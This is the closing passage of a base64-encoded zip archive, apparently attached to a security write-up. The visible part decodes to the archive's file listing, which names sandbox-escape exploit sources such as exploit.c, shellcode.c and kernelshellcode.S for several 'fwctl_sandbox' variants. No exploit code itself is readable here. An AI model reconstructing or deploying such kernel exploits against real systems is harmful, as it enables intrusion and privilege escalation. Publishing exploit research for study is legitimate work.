1fZXhwbG9pdC9leHBsb2l0LmNVVAUAA9LCu1t1eAsAAQToAwAABOgDAABQSwECHgMUAAAACAArb
khNn67+dKYAAAApAQAAOgAYAAAAAAAABAAAApIHe7wAAY29kZS9zZXR1cEIvZndjdGxfc2FuZGJv
eF9kZXZtZW1fZXhwbG9pdC9rZXJuZWxzaGVsbGNvZGUuU1VUBQAD0sK7W3V4CwABBOgDAAAE6AM
AAFBLAQIeAxQAAAAIACtuSE3/JtZdZwAAALMAAAAxABgAAAAAAAEAAACkgfjwAABjb2RlL3NldH
VwQi9md2N0bF9zYW5kYm94X2Rldm1lbV9leHBsb2l0L01ha2VmaWxlVVQFAAPSwrtbdXgLAAEE6
AMAAAToAwAAUEsBAh4DFAAAAAgAK25ITQ9XBB9MAgAAGwgAADIAGAAAAAAAAQAAAKSByvEAAGNv
ZGUvc2V0dXBCL2Z3Y3RsX3NhbmRib3hfZGV2bWVtX2V4cGxvaXQvYWRkcmVzcy5oVVQFAAPSwrt
bdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgAK25ITZSANuLSAAAAjAEAADIAGAAAAAAAAQAAAK
SBgvQAAGNvZGUvc2V0dXBCL2Z3Y3RsX3NhbmRib3hfZGV2bWVtX2V4cGxvaXQvc3lzY2FsbC5TV
VQFAAPSwrtbdXgLAAEE6AMAAAToAwAAUEsBAh4DCgAAAAAArSlJTQAAAAAAAAAAAAAAACYAGAAA
AAAAAAAAQAO1BwPUAAGNvZGUvc2V0dXBCL2Z3Y3RsX3NhbmRib3hfbWFwX2V4cGxvaXQvVVQFAAN
mm7xbdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgAXW5ITTD0QT31AQAASQQAADEAGAAAAAAAAQ
AAAKSBIPYAAGNvZGUvc2V0dXBCL2Z3Y3RsX3NhbmRib3hfbWFwX2V4cGxvaXQvc2hlbGxjb2RlL
mhVVAUAAzLDu1t1eAsAAQToAwAABOgDAABQSwECHgMUAAAACABdbkhNUkezlC4JAAC9GwAAMgAY
AAAAAAAABAAAApIGA+AAAY29kZS9zZXR1cEIvZndjdGxfc2FuZGJveF9tYXBfZXhwbG9pdC9zdHJ
1Y3R1cmVzLmhVVAUAAzLDu1t1eAsAAQToAwAABOgDAABQSwECHgMUAAAACACpKUlNUMJSqC4EAA
C8CgAAMQAYAAAAAAAABAAAApIEaAgEAY29kZS9zZXR1cEIvZndjdGxfc2FuZGJveF9tYXBfZXhwb
G9pdC9zaGVsbGNvZGUuY1VUBQADXpu8W3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAF1uSE0W
NDUpqQwAAFcrAAAvABgAAAAAAAEAAACkgbMGAQBjb2RlL3NldHVwQi9md2N0bF9zYW5kYm94X21
hcF9leHBsb2l0L2V4cGxvaXQuY1VUBQADMsO7W3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAF
1uSE3MnoZepQAAACgBAAA3ABgAAAAAAAEAAACkgcUTAQBjb2RlL3NldHVwQi9md2N0bF9zYW5kY
m94X21hcF9leHBsb2l0L2tlcm5lbHNoZWxsY29kZS5TVVQFAAMyw7tbdXgLAAEE6AMAAAToAwAA
UEsBAh4DFAAAAAgAXW5ITf8m1l1nAAAAswAAAC4AGAAAAAAAAQAAAKSB2xQBAGNvZGUvc2V0dXB
CL2Z3Y3RsX3NhbmRib3hfbWFwX2V4cGxvaXQvTWFrZWZpbGVVVAUAAzLDu1t1eAsAAQToAwAABO
gDAABQSwECHgMUAAAACABdbkhND1cEH0wCAAAbCAAALwAYAAAAAAABAAAApIGqFQEAY29kZS9zZ
XR1cEIvZndjdGxfc2FuZGJveF9tYXBfZXhwbG9pdC9hZGRyZXNzLmhVVAUAAzLDu1t1eAsAAQTo
AwAABOgDAABQSwECHgMUAAAACABdbkhN5q/BJ9IAAACLAQAALwAYAAAAAAABAAAApIFfGAEAY29
kZS9zZXR1cEIvZndjdGxfc2FuZGJveF9tYXBfZXhwbG9pdC9zeXNjYWxsLlNVVAUAAzLDu1t1eA
sAAQToAwAABOgDAABQSwECHgMKAAAAAAB8KUlNAAAAAAAAAAAAAAAAJwAYAAAAAAAAAAAABAA7UGaG
QEAY29kZS9zZXR1cEIvZndjdGxfc2FuZGJveF9iaW5kX2V4cGxvaXQvVVQFAAMMm7xbdXgLAAEE
6AMAAAToAwAAUEsBAh4DFAAAAAgAZ25ITeVxnD8bAgAACQUAADIAGAAAAAAAAQAAAKSB+xkBAGN
vZGUvc2V0dXBCL2Z3Y3RsX3NhbmRib3hfYmluZF9leHBsb2l0L3NoZWxsY29kZS5oVVQFAANCw7
tbdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgAZ25ITVJHs5QuCQAAvRsAADMAGAAAAAAAAQAAA
KSBghwBAGNvZGUvc2V0dXBCL2Z3Y3RsX3NhbmRib3hfYmluZF9leHBsb2l0L3N0cnVjdHVyZXMu

aFVUBQADQsO7W3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAHgpSU2ooZttTwQAAFYLAAAyABg
AAAAAAAEAAACkgR0mAQBjb2RlL3NldHVwQi9md2N0bF9zYW5kYm94X2JpbmRfZXhwbG9pdC9zaG
VsbGNvZGUuY1VUBQADBJu8W3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIADYoSU3RS3hRpQwAA
EIrAAAwABgAAAAAAAEAAACkgdgqAQBjb2RlL3NldHVwQi9md2N0bF9zYW5kYm94X2JpbmRfZXhw
bG9pdC9leHBsb2l0LmNVVAUAA6iYvFt1eAsAAQToAwAABOgDAABQSwECHgMUAAAACABnbkhNzJ6
GXqUAAAAoAQAAOAAYAAAAAAABAAAApIHnNwEAY29kZS9zZXR1cEIvZndjdGxfc2FuZGJveF9iaW
5kX2V4cGxvaXQva2VybmVsc2hlbGxjb2RlLlNVVAUAA0LDu1t1eAsAAQToAwAABOgDAABQSwECH
gMUAAAACABnbkhN/ybWXWcAAACzAAAALwAYAAAAAAABAAAApIH+OAEAY29kZS9zZXR1cEIvZndj
dGxfc2FuZGJveF9iaW5kX2V4cGxvaXQvTWFrZWZpbGVVVAUAA0LDu1t1eAsAAQToAwAABOgDAAB
QSwECHgMUAAAACABnbkhND1cEH0wCAAAbCAAAMAAYAAAAAAABAAAApIHOOQEAY29kZS9zZXR1cE
IvZndjdGxfc2FuZGJveF9iaW5kX2V4cGxvaXQvYWRkcmVzcy5oVVQFAANCw7tbdXgLAAEE6AMAA
AToAwAAUEsBAh4DFAAAAAgAZ25ITeavwSfSAAAAiwEAADAAGAAAAAAAAQAAAKSBhDwBAGNvZGUv
c2V0dXBCL2Z3Y3RsX3NhbmRib3hfYmluZF9leHBsb2l0L3N5c2NhbGwuU1VUBQADQsO7W3V4CwA
BBOgDAAAE6AMAAFBLBQYAAAAATQBNADIhAADAPQEAAAA=
<<<base64-end

|=[EOF]=---=|